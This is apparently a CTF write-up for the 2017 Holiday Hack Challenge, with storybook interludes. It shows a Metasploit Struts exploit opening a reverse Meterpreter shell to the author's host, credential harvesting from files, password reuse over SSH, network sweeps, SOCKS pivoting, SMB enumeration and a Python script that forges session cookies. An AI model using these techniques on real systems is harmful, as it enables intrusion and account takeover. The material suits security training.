Let's use our favorite exploitation framework to get a shell on this webserver. I installed Metasploit on a public-facing server of mine. SANS helpfully posted instructions on how to register to the free-tier AWS offers if you don't already have a public-facing server.

msf exploit(multi/http/struts2_rest_xstream) > options

Module options (exploit/multi/http/struts2_rest_xstream):

   Name       Current Setting                 Required  Description
   ----       ---------------                 --------  -----------
   Proxies                                    no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      dev.northpolechristmastown.com  yes       The target address
   RPORT      443                             yes       The target port (TCP)
   SRVHOST    0.0.0.0                         yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    80                              yes       The local port to listen on.
   SSL        true                            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                                    no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /orders/3043                    yes       Path to Struts action
   URIPATH                                    no        The URI to use for this exploit (default is random)
   VHOST                                      no        HTTP server virtual host


Payload options (python/meterpreter/reverse_https):

   Name   Current Setting        Required  Description
   ----   ---------------        --------  -----------
   LHOST  X.X.X.X                yes       The local listener hostname
   LPORT  443                    yes       The local listener port
   LURI                          no        The HTTP Path


Exploit target:

   Id  Name
   --  ----
   1   Python (In-Memory)


msf exploit(multi/http/struts2_rest_xstream) > exploit

[-] Handler failed to bind to 163.172.50.13:443
[*] Started HTTPS reverse handler on https://0.0.0.0:443
[*] https://X.X.X.X:443 handling request from X.X.X.X; (UUID: oqqwyeik) Staging python payload (43883 bytes) ...
[*] Meterpreter session 1 opened (Y.Y.Y.Y:443 -> X.X.X.X:50354) at 2017-12-24 16:56:24 +0100

meterpreter > getuid
Server username: alabaster_snowball

Alright, we have a Meterpreter shell on the server!

Let's take a look at /var/www/html, which is the web root according to the nginx configuration file found on the server:

meterpreter > ls -l /var/www/html/*.pdf
Listing: /var/www/html/*.pdf
============================

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
100444/r--r--r--  1764298  fil   2017-12-05 18:27:15 +0100  GreatBookPage2.pdf

We see our second page, which we found earlier via forceful browsing. So even if the name had not been predictable, we would have been able to find this page.

Now, the goal is to find Alabaster Snowball's password. I first tried to escalate my privileges on the server, in order to get access to the /etc/shadow file, but I didn't succeed. So, let's find another way.

Let's take a look at listening sockets:

meterpreter > shell
Process 20555 created.
Channel 7 created.
/bin/sh: 0: can't access tty; job control turned off
$ netstat -tlpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        6      0 0.0.0.0:9000            0.0.0.0:*               LISTEN      11043/python
tcp6       0      0 127.0.0.1:8080          :::*                    LISTEN      790/java
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 127.0.0.1:8005          :::*                    LISTEN      790/java

We can see that our user is running a Java program, with the PID 790. Let's get details on this process:

$ ps aux | grep -w 790
alabast+   790  5.0  2.0 939444 630656 ?       Sl   03:01  43:43 /opt/jre/bin/java -Djava.util.logging.config.file=/opt/apache-tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Dfile.encoding=UTF-8 -Dnet.sf.ehcache.skipUpdateCheck=true -XX:+UseConcMarkSweepGC -XX:+CMSClassUnloadingEnabled -XX:+UseParNewGC -XX:MaxPermSize=128m -Xms512m -Xmx512m -Djava.endorsed.dirs=/opt/apache-tomcat/endorsed -classpath /opt/apache-tomcat/bin/bootstrap.jar -Dcatalina.base=/opt/apache-tomcat -Dcatalina.home=/opt/apache-tomcat -Djava.io.tmpdir=/opt/apache-tomcat/temp org.apache.catalina.startup.Bootstrap start

Our user is running the Apache Tomcat server. The different Java resources seem to be installed in /opt. Let's take a look at the files there. There may indeed be configuration files containing our current user's password:

$ grep -A 1 -Rn alabaster_snowball /opt
/opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class:3:            final String username = "alabaster_snowball";
/opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class-4-            final String password = "stream_unhappy_buy_loss";

Bingo, we got a password for our user, but it seems to be for a MySQL connection. Let's see if our user used the same password for their system password. Our pwned server has an SSH server accessible from the Internet:

$ nmap -p 22 dev.northpolechristmastown.com

Starting Nmap 7.40 ( https://nmap.org ) at 2017-12-24 18:40 CET
Nmap scan report for dev.northpolechristmastown.com (35.185.84.51)
Host is up (0.18s latency).
rDNS record for 35.185.84.51: 51.84.185.35.bc.googleusercontent.com
PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 1 IP address (1 host up) scanned in 0.62 seconds
$ ssh alabaster_snowball@dev.northpolechristmastown.com
alabaster_snowball@dev.northpolechristmastown.com's password: stream_unhappy_buy_loss
alabaster_snowball@hhc17-apache-struts1:/tmp/asnow.FcLiqpWNISKoESUcwo5Jip8O$ hostname
hhc17-apache-struts1
alabaster_snowball@hhc17-apache-struts1:/tmp/asnow.FcLiqpWNISKoESUcwo5Jip8O$

Alright! The password stream_unhappy_buy_loss also works for the system account. Let's the internal IP address of the system:

$ ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1460
        inet 10.142.0.3  netmask 255.255.255.255  broadcast 10.142.0.3
        ether 42:01:0a:8e:00:03  txqueuelen 1000  (Ethernet)
        RX packets 4837274  bytes 1254973259 (1.1 GiB)
        RX errors 0  dropped 0  overruns 0  frame 4
        TX packets 11266245  bytes 3876810300 (3.6 GiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Alright, we have access to the 10.142.0.0/24 network, which is in scope! Let's what IP addresses are up. For this I use a custom one-liner, launched directly on the machine:

$ prefix=10.142.0; for i in `seq 1 254`; do ping -c 1 -W 1 $prefix.$i > /dev/null 2>&1 && echo "$prefix.$i is up"; done
10.142.0.2 is up
10.142.0.3 is up
10.142.0.5 is up
10.142.0.6 is up
10.142.0.7 is up
10.142.0.8 is up
10.142.0.11 is up
10.142.0.13 is up

Now that we know which IPs are up, let's perform a port scan. Luckily, nmap is installed on the server, so we can use it. But let's say that nmap isn't installed on the machine: in a real world example, this would most likely be the case, and that's how I did it (it didn't even cross my mind that nmap could be installed, and I just checked when writing this write-up).

Now that we have valid SSH credentials, we can create a SOCKS proxy using the -D option. We can then use a tool like proxychains to redirect our different tools through our SOCKS proxy:

$ # in one terminal
$ ssh -D 4242 alabaster_snowball@dev.northpolechristmastown.com

$ # in another terminal
$ tail -n 6 /etc/proxychains.conf
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4     127.0.0.1 4242 # modify here in your configuration file
$ proxychains nmap -sT -Pn --top-port 10 --open -iL ./up_ips.txt
[snip]

Now you may notice that I just scanned the top 10 TCP ports. Indeed, scanning port through a SOCKS proxy can take quite some time, because of the overhead, so most of the time I just bother to scan the top 10 TCP ports.

Now, since nmap is installed on our compromised machine, let's do a more thorough scan, directly from the hhc17-apache-struts1 machine:

$ nmap --open 10.142.0.0/24 -oA tcp_top_1000_10.142.0.0.24

Starting Nmap 7.40 ( https://nmap.org ) at 2017-12-25 23:04 UTC
Nmap scan report for hhc17-l2s-proxy.c.holidayhack2017.internal (10.142.0.2)
Host is up (0.00021s latency).
Not shown: 996 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
443/tcp  open  https
2222/tcp open  EtherNetIP-1

Nmap scan report for hhc17-apache-struts1.c.holidayhack2017.internal (10.142.0.3)
Host is up (0.00021s latency).
Not shown: 998 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap scan report for mail.northpolechristmastown.com (10.142.0.5)
Host is up (0.00016s latency).
Not shown: 994 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
143/tcp  open  imap
2525/tcp open  ms-v-worlds
3000/tcp open  ppp

Nmap scan report for edb.northpolechristmastown.com (10.142.0.6)
Host is up (0.00013s latency).
Not shown: 996 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
389/tcp  open  ldap
8080/tcp open  http-proxy

Nmap scan report for hhc17-smb-server.c.holidayhack2017.internal (10.142.0.7)
Host is up (0.00052s latency).
Not shown: 996 filtered ports
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

Nmap scan report for hhc17-emi.c.holidayhack2017.internal (10.142.0.8)
Host is up (0.00018s latency).
Not shown: 960 closed ports, 35 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

Nmap scan report for hhc17-apache-struts2.c.holidayhack2017.internal (10.142.0.11)
Host is up (0.00023s latency).
Not shown: 996 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
4443/tcp open  pharos
9090/tcp open  zeus-admin

Nmap scan report for eaas.northpolechristmastown.com (10.142.0.13)
Host is up (0.0045s latency).
Not shown: 998 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
80/tcp   open  http
3389/tcp open  ms-wbt-server

Nmap done: 256 IP addresses (7 hosts up) scanned in 7.17 seconds

We now have a better view of the internal network.

Third page of The Great Book

North Pole and Beyond: Cryokinetic Magic

Cranberry Pi: Yannick's (dirty) solution

                     ___
                    / __'.     .-"""-.
              .-""-| |  '.'.  / .---. \
             / .--. \ \___\ \/ /____| |
            / /    \ `-.-;-(`_)_____.-'._
           ; ;      `.-" "-:_,(o:==..`-. '.         .-"-,
           | |      /       \ /      `\ `. \       / .-. \
           \ \     |         Y    __...\  \ \     / /   \/
     /\     | |    | .--""--.| .-'      \  '.`---' /
     \ \   / /     |`        \'   _...--.;   '---'`
      \ '-' / jgs  /_..---.._ \ .'\\_     `.
       `--'`      .'    (_)  `'/   (_)     /
                  `._       _.'|         .'
                     ```````    '-...--'`
My name is Holly Evergreen, and I have a conundrum.
I broke the candy cane striper, and I'm near throwing a tantrum.
Assembly lines have stopped since the elves can't get their candy cane fix.
We hope you can start the striper once again, with your vast bag of tricks.

Run the CandyCaneStriper executable to complete this challenge.

Ok, so we just have to execute the CandyCaneStripper executable, let's take a look at it:

elf@cd14b3563680:~$ ls -lh
total 48K
-rw-r--r-- 1 root root 45K Dec 15 19:59 CandyCaneStriper

The CandyCaneStripper file is not marked as executable. So we can't launch it. Let's chmod it to add the executable flag:

elf@cd14b3563680:~$ chmod +x ./CandyCaneStriper
elf@cd14b3563680:~$ ls -lh CandyCaneStriper
-rw-r--r-- 1 root root 45K Dec 15 19:59 CandyCaneStriper

Hmm, it didn't work. Let's take a look at the chmod executable:

elf@cd14b3563680:~$ which chmod
/bin/chmod
elf@cd14b3563680:~$ file /bin/chmod
/bin/chmod: empty

The chmod executable is empty, so we don't have it. We can't use the same trick as for the find executable from "Winter Wonder Landing", because it involded using chmod to mark our new program as executable. We seem to be stuck in a Catch-22 logic. So, let's see how we can change our program's attributes, without relying on chmod.

This Stack Exchange answer gives us several possibilities. I used the first one:

elf@cd14b3563680:~$ cp /bin/ls ./CandyCaneStriper_from_ls
elf@cd14b3563680:~$ cp ./CandyCaneStriper ./CandyCaneStriper_from_ls
elf@cd14b3563680:~$ ls -lh CandyCaneStriper_from_ls
-rwxr-xr-x 1 elf elf 45K Dec 23 18:57 CandyCaneStriper_from_ls
elf@cd14b3563680:~$ ./CandyCaneStriper_from_ls
                   _..._
                 .'\\ //`,
                /\\.'``'.=",
               / \/     ;==|
              /\\/    .'\`,`
             / \/     `""`
            /\\/
           /\\/
          /\ /
         /\\/
        /`\/
        \\/
         `
The candy cane striping machine is up and running!

Cranberry Pi: the "official" solution

Having managed to execute the program, I decided to take a look at Holly Evergreen's Twitter profile. In this tweet, she points to a Super User answer, which explains how to execute a program that is not marked as executable.

The accepted answer says that we can use the program linker/loader as an interpreter. Let's give it a try:

elf@fea39a7c28e3:~$ ls -lh ./CandyCaneStriper
-rw-r--r-- 1 root root 45K Dec 15 19:59 ./CandyCaneStriper
elf@fea39a7c28e3:~$ /lib/x86_64-linux-gnu/ld-2.23.so ./CandyCaneStriper
                   _..._
                 .'\\ //`,
                /\\.'``'.=",
               / \/     ;==|
              /\\/    .'\`,`
             / \/     `""`
            /\\/
           /\\/
          /\ /
         /\\/
        /`\/
        \\/
         `
The candy cane striping machine is up and running!

And it worked, indeed! TIL you can execute a program without it being marked as executable.

Redirecting the snowball

Since we managed to execute the program, we get a new tool: the Thermite, which can melts the snowball, reduce its size, and thus modify its speed.

Now here's the layout I used to redirect the snowball:

North Pole Christmas Town infrastructure: SMB server

If we take a look at the nmap scan, we can see that a server called hhc17-smb-server.c.holidayhack2017.internal. This must be an SMB server used to share some files. Let's try to connect to it using Alabaster Snowball's credentials. To do this, I'm using proxychains, and @byt3bl33d3r's excellent CrackMapExec:

$ proxychains cme 10.142.0.7 -u alabaster_snowball -p stream_unhappy_buy_loss --shares
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:4242-<><>-10.142.0.7:445-<><>-OK
CME          10.142.0.7:445 HHC17-EMI       [*] Windows 10.0 Build 14393 (name:HHC17-EMI) (domain:HHC17-EMI)
|S-chain|-<>-127.0.0.1:4242-<><>-10.142.0.7:445-<><>-OK
|S-chain|-<>-127.0.0.1:4242-<><>-10.142.0.7:445-<><>-OK
CME          10.142.0.7:445 HHC17-EMI       [+] HHC17-EMI\alabaster_snowball:stream_unhappy_buy_loss
CME          10.142.0.7:445 HHC17-EMI       [+] Enumerating shares
CME          10.142.0.7:445 HHC17-EMI       SHARE           Permissions
CME          10.142.0.7:445 HHC17-EMI       -----           -----------
CME          10.142.0.7:445 HHC17-EMI       FileStor        READ
CME          10.142.0.7:445 HHC17-EMI       ADMIN$          NO ACCESS
CME          10.142.0.7:445 HHC17-EMI       IPC$            READ
CME          10.142.0.7:445 HHC17-EMI       C$              NO ACCESS

Hmm, we have read access to the FileStor share. Let's connect to it. I'm using impacket's smbclient.py:

$ proxychains smbclient.py alabaster_snowball:stream_unhappy_buy_loss@10.142.0.7
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies

|S-chain|-<>-127.0.0.1:4242-<><>-10.142.0.7:445-<><>-OK
Type help for list of commands
# use FileStor
# ls
drw-rw-rw-          0  Mon Dec 25 05:09:11 2017 .
drw-rw-rw-          0  Mon Dec 25 05:09:11 2017 ..
-rw-rw-rw-     255520  Mon Dec 25 05:09:28 2017 BOLO - Munchkin Mole Report.docx
-rw-rw-rw-    1275756  Mon Dec  4 21:04:34 2017 GreatBookPage3.pdf
-rw-rw-rw-     133295  Wed Dec  6 22:47:47 2017 MEMO - Password Policy Reminder.docx
-rw-rw-rw-      10245  Wed Dec  6 23:28:21 2017 Naughty and Nice List.csv
-rw-rw-rw-      60344  Wed Dec  6 22:51:47 2017 Naughty and Nice List.docx

Among other files that may be useful later, we find the third page to The Great Book (sha256: 6b99d47103d4030e643c8073dfab0915b0bf1a265c32035ec604148abd49d64e):

The Great Schism

Many centuries ago, the Little People of Oz were united - one people sharing peace and laughter all the way. But then, tragedy struck - The Great Schism split the community into two bitterly opposed factions: the Munchkins and the Elves. The original cause of this acrimonious division has long been forgotten.

As The Great Schism escalated from verbal arguments to fist fights to the rise of actual armed militias, the Wizard knew he had to act. He reached out to his good friend, Santa Claus, who at the time was setting up a worldwide gift distribution operation at the North Pole. To avoid the near-certain bloodshed of an Oz-wide civil war, the Wizard and Santa agreed that they would relocate the Elven faction to the North, where they would help Santa manufacture presents and run the North Pole's infrastructure. The Munchkins would remain in Oz, living as before, but viewing the Elves' departure as a banishment. The Elves themselves regard their move as a magnanimous and voluntary relocation to the North Pole, seeking refuge from marauding Munchkins.

Sadly, although violence between the Munchkins and the Elves was thwarted, there remains a seething hatred between the two peoples. Despite the best efforts of Santa and the Wizard of Oz, anti-Elf propaganda appears from time to time in Oz, as does anti-Munchkin sentiment in the North Pole. Indeed, the two peoples remain in a perpetual state of cold ward. Sadly, the chilling after-affects of The Great Schism are felt to this very day.

Fourth page of The Great Book

North Pole and Beyond: There's Snow Place Like Home

Cranberry Pi

                             ______
                          .-"""".._'.       _,##
                   _..__ |.-"""-.|  |   _,##'`-._
                  (_____)||_____||  |_,##'`-._,##'`
                  _|   |.;-""-.  |  |#'`-._,##'`
               _.;_ `--' `\    \ |.'`\._,##'`
              /.-.\ `\     |.-";.`_, |##'`
              |\__/   | _..;__  |'-' /
              '.____.'_.-`)\--' /'-'`
               //||\\(_.-'_,'-'`
             (`-...-')_,##'`
      jgs _,##`-..,-;##`
       _,##'`-._,##'`
    _,##'`-._,##'`
      `-._,##'`
My name is Pepper Minstix, and I need your help with my plight.
I've crashed the Christmas toy train, for which I am quite contrite.
I should not have interfered, hacking it was foolish in hindsight.
If you can get it running again, I will reward you with a gift of delight.

Alright, once again, we're supposed to execute a program. Let's see:

elf@36ff87294cc6:~$ ls -lh
total 444K
-rwxr-xr-x 1 root root 444K Dec  7 18:43 trainstartup
elf@a6b0a5dfef57:~$ ./trainstartup
bash: ./trainstartup: cannot execute binary file: Exec format error
elf@a6b0a5dfef57:~$ file ./trainstartup
./trainstartup: ELF 32-bit LSB  executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=005de4685e8563d10b3de3e0be7d6fdd7ed732eb, not stripped
elf@a6b0a5dfef57:~$ uname -a
Linux a6b0a5dfef57 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3 (2017-12-03) x86_64 x86_64 x86_64 GNU/Linux

Hmm, just like for the find executable in "Winter Wonder Landing", we're stuck with an ARM program, while we're running on an Intel x64 processor. However, we can't replace this program with an x64 version, since it's a custom program! We must find a way to execute ARM on an Intel x64 processor.

This usually means that we have to use some kind of virtualization solution. One virtualization solution that works in CLI, and can launch program independently, without having to virtualize a whole OS is QEMU. Let's see if the machine has QEMU:

elf@a6b0a5dfef57:~$ find / -name 'qemu*' 2> /dev/null
/usr/bin/qemu-arm
/usr/bin/qemu-alpha
/usr/bin/qemu-sh4eb
/usr/bin/qemu-mips
/usr/bin/qemu-aarch64
/usr/bin/qemu-sparc32plus
/usr/bin/qemu-m68k
/usr/bin/qemu-microblazeel
/usr/bin/qemu-ppc64
/usr/bin/qemu-mipsn32
/usr/bin/qemu-microblaze
/usr/bin/qemu-mips64
/usr/bin/qemu-sparc64
/usr/bin/qemu-s390x
/usr/bin/qemu-mips64el
/usr/bin/qemu-mipsel
/usr/bin/qemu-cris
/usr/bin/qemu-armeb
/usr/bin/qemu-sparc
/usr/bin/qemu-unicore32
/usr/bin/qemu-x86_64
/usr/bin/qemu-mipsn32el
/usr/bin/qemu-ppc64abi32
/usr/bin/qemu-sh4
/usr/bin/qemu-i386
/usr/bin/qemu-ppc
/usr/bin/qemu-or32
[snip]

Yes, qemu-arm is present, we can try and launch our program:

elf@a6b0a5dfef57:~$ /usr/bin/qemu-arm ./trainstartup
Starting up...

    Merry Christmas
    Merry Christmas
v
>*<
^
/o\
/   \               @.·
/~~   \                .
/ ° ~~  \         · .
/      ~~ \       ◆  ·
/     °   ~~\    ·     0
/~~           \   .─··─ · o
             /°  ~~  .*· · . \  ├──┼──┤
              │  ──┬─°─┬─°─°─°─ └──┴──┘
≠==≠==≠==≠==──┼──=≠     ≠=≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠===≠
              │   /└───┘\┌───┐       ┌┐
                         └───┘    /▒▒▒▒
≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠=°≠=°≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠
You did it! Thank you!

Redirecting the snowball

Since we managed to execute the program, we're given an object: Jam, which does... something? I dunno, but apparently it should not be confused with reindeer droppings.

Now here's the layout I used to redirect the snowball:

North Pole Christmas Town infrastructure: Elf Web Access

If we take another look at the nmap scan result, we can find a server called mail.northpolechristmastown.com. This is obviously the North Pole mail server. Let's see what we can find.

If we try to connect with Alabaster's password, we get an Incorrect password message. Great, the guy reuses his password for his MySQL account, his system account, and his SMB account, but not his mail account. Let's find another way.

After trying to bypass authentication for quite some time, I decided to go back to basic recon. By looking at the source code of the application, we find a reference to a webpage called account.html:

// File custom.js
function login() {
    var address = $('#email').val().trim();
    var passw = $('#password').val().trim();
    if (address && passw && address.match(/[\w\_\-\.]+\@[\w\_\-\.]+\.\w\w\w?\w?/g) !== null) {
        $.post( "login.js", { email: address, password: passw }).done(function( result ) {
            //RETURN A JSON bool value of true if the email and password is correct. false if incorrect
            if (result.bool) {
                $('#email').val('');
                $('#password').val('');
                Materialize.toast('Correct. Logging in now!', 4000);
                setTimeout(function(){
                    //redirect to home.html. This needs to be locked down by cookies!
                    window.location.href = 'account.html';
                }, 1000);
            } else {
                Materialize.toast(result.result, 4000);
            }
        }).fail(function(error) {
            Materialize.toast('Error: '+error.status + " " + error.statusText, 4000);
        })
    } else {
        Materialize.toast('You must put in a correct email and password!', 4000);
    }
}

But trying to go directly to this page just redirects us to the login page. Let's continue our recon. Here's what we find in the robots.txt file:

GET /robots.txt HTTP/1.1
Host: 10.142.0.5
Cookie: EWA={"name":"GUEST","plaintext":"","ciphertext":""}
Connection: close

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Thu, 28 Dec 2017 20:29:07 GMT
Content-Type: text/plain; charset=UTF-8
Content-Length: 37
Connection: close
X-Powered-By: Express

User-agent: *
Disallow: /cookie.txt

Couple of interesting things. First, the application set us a cookie called EWA, with what seems to be our access level. I tried replaying the cookie with values such as ADMIN, etc. but it didn't work. Second, the application is using the Express framework, which is based on NodeJS. We now know the backend of the application. And finally, there is a file called cookie.txt in the application webroot, and the developper didn't want this file to be indexed by search engine bots. So I guess it must be interesting! Let's see.

The file contains the following Javascript code:

//FOUND THESE FOR creating and validating cookies. Going to use this in node js
    function cookie_maker(username, callback){
        var key = 'need to put any length key in here';
        //randomly generates a string of 5 characters
        var plaintext = rando_string(5)
        //makes the string into cipher text .... in base64. When decoded this 21 bytes in total length. 16 bytes for IV and 5 byte of random characters
        //Removes equals from output so as not to mess up cookie. decrypt function can account for this without erroring out.
        var ciphertext = aes256.encrypt(key, plaintext).replace(/\=/g,'');
        //Setting the values of the cookie.
        var acookie = ['IOTECHWEBMAIL',JSON.stringify({"name":username, "plaintext":plaintext,  "ciphertext":ciphertext}), { maxAge: 86400000, httpOnly: true, encode: String }]
        return callback(acookie);
    };
    function cookie_checker(req, callback){
        try{
            var key = 'need to put any length key in here';
            //Retrieving the cookie from the request headers and parsing it as JSON
            var thecookie = JSON.parse(req.cookies.IOTECHWEBMAIL);
            //Retrieving the cipher text
            var ciphertext = thecookie.ciphertext;
            //Retrievingin the username
            var username = thecookie.name
            //retrieving the plaintext
            var plaintext = aes256.decrypt(key, ciphertext);
            //If the plaintext and ciphertext are the same, then it means the data was encrypted with the same key
            if (plaintext === thecookie.plaintext) {
                return callback(true, username);
            } else {
                return callback(false, '');
            }
        } catch (e) {
            console.log(e);
            return callback(false, '');
        }
    };

So, we seem to have found the code that is use to generate the EWA cookie. Here's how it seems to work:

The server generates a five-letter random string (variable plaintext).
This string is encrypted using AES256 (variable ciphertext, with a fixed key (variable key).
The username, the random string, and its encrypted value, are put in the cookie.
To check the cookie, the server decrypts the encrypted value, and compares it to the random string sent in the cookie.

At first, I tried generating a cookie, using the key need to put any length key in here, hoping that the developper had not changed this section of the source code, but it didn't work. So we don't know the key. But there are still some glaring errors in this cookie generation code.

First, let's take a look at the aes256 NodeJS module. I installed NodeJS and this module, and played around with it:

> var aes256 = require('aes256');
undefined
> var key = 'my milkshake brings all the boys to the yard';
undefined
> var plaintext = '1337';
undefined
> aes256.encrypt(key, plaintext)
'L07kb9VSHbavnunjI/4aom8KcS4='

Let's take a look at our ciphertext:

$  echo 'L07kb9VSHbavnunjI/4aom8KcS4=' | base64 -d | hexdump -C
00000000  2f 4e e4 6f d5 52 1d b6  af 9e e9 e3 23 fe 1a a2  |/N.o.R......#...|
00000010  6f 0a 71 2e                                       |o.q.|
00000014

Hmmm, our output is 20 bytes, which is not a multiple of AES block-size. This is weird. The first block of our ciphertext (16 bytes) must be the initialization vector, which leaves a 4-byte block. Incidently, 4 bytes is exactly the size of our plaintext. After several manual tries, I confirmed that the plaintext and the ciphertext have the same size, which is the first oops.

The second oops is that the cookie verification code does not perform any check on the payload sent in the cookie. So it will happily accept one-byte long payload (but unfortunately, not empty payload) (it actually does, see after).

So, if we send a one-byte long payload, there are only 256 possible values for the ciphertext, which is easily bruteforceable on line. Here's a Python script that will try to find a valid cookie:

#!/usr/bin/env python3

import base64
import requests
import time

def main():
    # The URL we try to access
    url = 'http://10.142.0.5/account.html'

    # Our cookie template, with a one-byte long plaintext
    cookie_template = '{{"name":"alabaster.snowball@northpolechristmastown.com","plaintext":"a","ciphertext":"{}"}}'

    # Our arbitrary IV
    iv = b'\x90' * 16

    for candidate in range(256):
        # We create our candidate cipher text, by appending the one-byte value
        # to our IV, and base64 encoding it
        ciphertext = base64.b64encode(iv + bytes([candidate])).decode('utf8')

        # We then create our cookie, and get the wanted page
        cookies = {'EWA': cookie_template.format(ciphertext)}
        r = requests.get(url, cookies=cookies)

        # If we get a positive return, we output the cookie
        if r.status_code == 200 and r.text != '<script>window.location.href=\'/\'</script>'::
            print(cookies)
            break

if __name__ == '__main__':
    main()

We launch our script through proxychains and...

$ proxychains ./cookie_finder.py
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:4242-<><>-10.142.0.5:80-<><>-OK
[snip]
{'EWA': '{"name":"alabaster.snowball@northpolechristmastown.com","plaintext":"a","ciphertext":"kJCQkJCQkJCQkJCQkJCQkGk="}'}

Bingo! We get a valid cookie for Alabaster's account!

<Errata>

After solving this part, I checked the hints given by the Elf of this level, Pepper Minstix:

AES256? Honestly, I don't know much about it, but Alabaster explained the basic idea and it sounded easy. During decryption, the first 16 bytes are removed and used as the initialization vector or "IV." Then the IV + the secret key are used with AES256 to decrypt the remaining bytes of the encrypted string.

Hmmm. That's a good question, I'm not sure what would happen if the encrypted string was only 16 bytes long.

So the system does in fact accept empty plaintext variables, with any ciphertext that is 16-byte long. So using this cookie works: {"name":"alabaster.snowball@northpolechristmastown.com","plaintext":"","ciphertext":"QUFBQUFBQUFBQUFBQUFBQQo="}.

I was sure to have checked this, but obviously I'm mistaken (that's an oops for me)!

</Errata>

Alright, now we have a valid cookie for Alabaster's account. Or any account really. This is the third oops: there's no link between the name set in the cookie, and the plaintext and ciphertext variables. So now that we have found a valid ciphertext for our plaintext a, we can put anything we want in the name variable, such as admin@northpolechristmastown.com, and we'll be logged into the given account:

If we snoop around Alabaster's mailbox, we find this email:

From: holly.evergreen@northpolechristmastown.com

To: all@northpolechristmastown.com

Subject: Lost book page

Hey Santa,

Found this lying around. Figured you needed it.

http://mail.northpolechristmastown.com/attachments/GreatBookPage4_893jt91md2.pdf

:)

-Holly

We get a link to the fourth page of The Great Book (sha256: 6afe9f8c7dc8a392b6d853a05f1c1ce67b490633e3aa6c22faa3b1936f1ceed0):

The Rise of the Lollipop Guild

As tensions escalated immediately before The Great Schism, outright fistfights erupted in the streets of the Emerald City as the most radicalized Elves and Munchkins battled for turf. In those early days, the small-scale skirmishes were disorganized and chaotic. But as hostilities and violence continued to grow, organized groups of elite fighters emerged on each side to take control of the militias. One particularly notherworthy band of commandos named itself the "Lollipop Guild".

Today, despite its sweet candy-themed name, the Guild's mission is by no means sugar coated. The official, stated focus of this liliputian force is to apply elite military tactics to defend Oz against all Elven aggression. What's more, it's also believed (at least among the Elves) that the Lollipop Guild engages in offensive operations against the North Pole, both from a cyber and kinetic perspective. The Elves consider the Lollipop Guild to be a terrorist organization. Indeed, the North Pole Elven Blue Team toils year-round defending the computer and network infrastructure of the North Pole from attack. Their biggest fear is that the Lollipop Guild will somehow disrupt or destroy the North Pole's biggest production of the year - Santa's Christmas Day present delivery operation. The North Pole Blue Team is on extremely high alert throughout Christmas Eve, and exhaustive period of analysis and active defense this team refers to as "Blue Christmas".

Although it has never been proven, the Elves allege that the Lollipop Guild has infiltrated its operatives among the North Pole population, cleverly disguising these nefarious interlopers as Elves. According to these rumors, so-called Munchkin Moles mingle among even the Elven Elite. Because Elves and Munchkins look identical, Elven leadership remains confounded about whether Munchkin Moles actually exist. Yet, rumors persist.

Fifth page of The Great Book

The fifth page is located in North Pole and Beyond level. We must use the giant falling snowball to collect it. But let's solve the Cranberry Pi challenge first.

North Pole and Beyond: Bumbles Bounce

Cranberry Pi

                           ._    _.
                           (_)  (_)                  <> \  / <>
                            .\::/.                   \_\/  \/_/
           .:.          _.=._\\//_.=._                  \\//
      ..   \o/   ..      '=' //\\ '='             _<>_\_\<>/_/_<>_
      :o|   |   |o:         '/::\'                 <> / /<>\ \ <>
       ~ '. ' .' ~         (_)  (_)      _    _       _ //\\ _
           >O<             '      '     /_/  \_\     / /\  /\ \
       _ .' . '. _                        \\//       <> /  \ <>
      :o|   |   |o:                   /\_\\><//_/\
